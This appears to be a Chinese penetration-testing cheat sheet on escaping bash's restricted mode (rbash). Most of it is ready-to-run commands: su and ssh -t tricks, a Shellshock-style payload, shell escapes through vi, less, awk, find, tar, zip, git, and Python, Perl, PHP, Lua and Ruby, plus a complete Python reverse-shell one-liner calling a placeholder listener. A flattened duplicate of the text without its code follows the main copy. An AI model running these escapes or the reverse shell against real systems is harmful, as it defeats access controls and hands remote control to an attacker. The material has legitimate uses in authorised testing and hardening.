rbash逃逸大全
字数 1017 2025-08-25 22:58:47

Rbash逃逸技术大全

0x00 前言

Rbash(The restricted mode of bash)是Bash的限制模式,也是最常见的restricted shell之一(其他包括ksh、rsh等)。在渗透测试中遇到restricted shell会严重影响信息收集和反弹shell等操作,因此掌握rbash逃逸技术至关重要。

0x01 Rbash中的限制

Rbash通过以下限制提高安全性:

  1. 不能使用cd命令(无法更改目录)
  2. 不能设置或取消环境变量:SHELL, PATH, ENV, BASH_ENV
  3. 导入功能受限
  4. 不能使用包含/-的文件名
  5. 不能使用重定向操作符(如>, >>等)
  6. 不能使用set +rset +o关闭限制模式

0x02 创建Rbash用户

# 创建用户
sudo adduser tw

# 为用户启用rbash
sudo usermod -s /bin/rbash tw

0x03 检查当前shell是否为Rbash

echo $SHELL
# 或
echo $0

0x04 Rbash逃逸技术

4.1 切换用户时逃逸

利用susu -的区别:

  • su:只更改当前用户,不更改用户环境
  • su -:同时更改用户和环境变量

逃逸方法:

su -l tw
su - tw
su --login tw

4.2 SSH登录时逃逸

使用-t参数在远程机器上运行脚本:

ssh username@IP -t "/bin/sh"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "(bin/bash"  # Shellshock漏洞利用

4.3 当前shell中逃逸

4.3.1 特殊情况

  1. /被允许时:
/bin/sh
/bin/bash
  1. 能够设置PATH或SHELL时:
export PATH=$PATH:/bin/:/usr/bin:$PATH
export SHELL=/bin/sh
  1. 权限足够时:
cp /bin/sh /path/; sh
cp /bin/bash /path/; sh

4.3.2 利用系统常见应用逃逸

以下命令在输入处输入!/bin/sh!/bin/bash

  1. ftp
  2. more
  3. less
  4. man
  5. vi
  6. vim

其他方法:

  1. scp:
scp -S /path/yourscript x y:
  1. awk:
awk 'BEGIN {system("/bin/sh")}'
awk 'BEGIN {system("/bin/bash")}'
  1. find:
find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;

4.3.3 利用用户安装应用逃逸

  1. ed-editor:
ed
!'/bin/sh'
  1. git:
git help status
!/bin/bash
  1. zip:
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
  1. tar:
tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash

4.3.4 利用编程语言环境绕过

  1. Python:
python -c 'import os; os.system("/bin/sh")'
  1. PHP:
php -a
exec("sh -i");
  1. Perl:
perl -e 'exec "/bin/sh";'
  1. Lua:
lua
os.execute('/bin/sh')
  1. Ruby:
ruby
exec "/bin/sh"
  1. Expect:
expect
spwan sh
sh

4.4 其他实用技巧

  1. 路径异常修复:
echo $PATH
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  1. 不使用重定向写文件:
echo 'script code' | tee scriptfile
  1. su切换用户时使用spawn shell:
su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" tw
  1. SSH登录时使用spawn shell:
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'"
  1. 编程语言反弹shell(Python示例):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1. 替代!/bin/sh的方法:
!'sh'  # 没有'/'有时能更好绕过
  1. 直接使用sh:
sh  # 在路径正确的情况下可能有效

0x05 总结

虽然本文主要演示了rbash逃逸,但这些技术同样适用于其他类型的restricted shell。实际逃逸时需要根据系统特性和用户限制的宽松程度灵活选择方法,多尝试不同的逃逸途径,特别是利用用户安装的应用程序(如git、tar、zip等)往往能提供很大帮助。

Rbash逃逸技术大全 0x00 前言 Rbash(The restricted mode of bash)是Bash的限制模式,也是最常见的restricted shell之一(其他包括ksh、rsh等)。在渗透测试中遇到restricted shell会严重影响信息收集和反弹shell等操作,因此掌握rbash逃逸技术至关重要。 0x01 Rbash中的限制 Rbash通过以下限制提高安全性: 不能使用 cd 命令(无法更改目录) 不能设置或取消环境变量: SHELL , PATH , ENV , BASH_ENV 导入功能受限 不能使用包含 / 或 - 的文件名 不能使用重定向操作符(如 > , >> 等) 不能使用 set +r 或 set +o 关闭限制模式 0x02 创建Rbash用户 0x03 检查当前shell是否为Rbash 0x04 Rbash逃逸技术 4.1 切换用户时逃逸 利用 su 和 su - 的区别: su :只更改当前用户,不更改用户环境 su - :同时更改用户和环境变量 逃逸方法: 4.2 SSH登录时逃逸 使用 -t 参数在远程机器上运行脚本: 4.3 当前shell中逃逸 4.3.1 特殊情况 / 被允许时: 能够设置PATH或SHELL时: 权限足够时: 4.3.2 利用系统常见应用逃逸 以下命令在输入处输入 !/bin/sh 或 !/bin/bash : ftp more less man vi vim 其他方法: scp: awk: find: 4.3.3 利用用户安装应用逃逸 ed-editor: git: zip: tar: 4.3.4 利用编程语言环境绕过 Python: PHP: Perl: Lua: Ruby: Expect: 4.4 其他实用技巧 路径异常修复: 不使用重定向写文件: su切换用户时使用spawn shell: SSH登录时使用spawn shell: 编程语言反弹shell(Python示例): 替代 !/bin/sh 的方法: 直接使用sh: 0x05 总结 虽然本文主要演示了rbash逃逸,但这些技术同样适用于其他类型的restricted shell。实际逃逸时需要根据系统特性和用户限制的宽松程度灵活选择方法,多尝试不同的逃逸途径,特别是利用用户安装的应用程序(如git、tar、zip等)往往能提供很大帮助。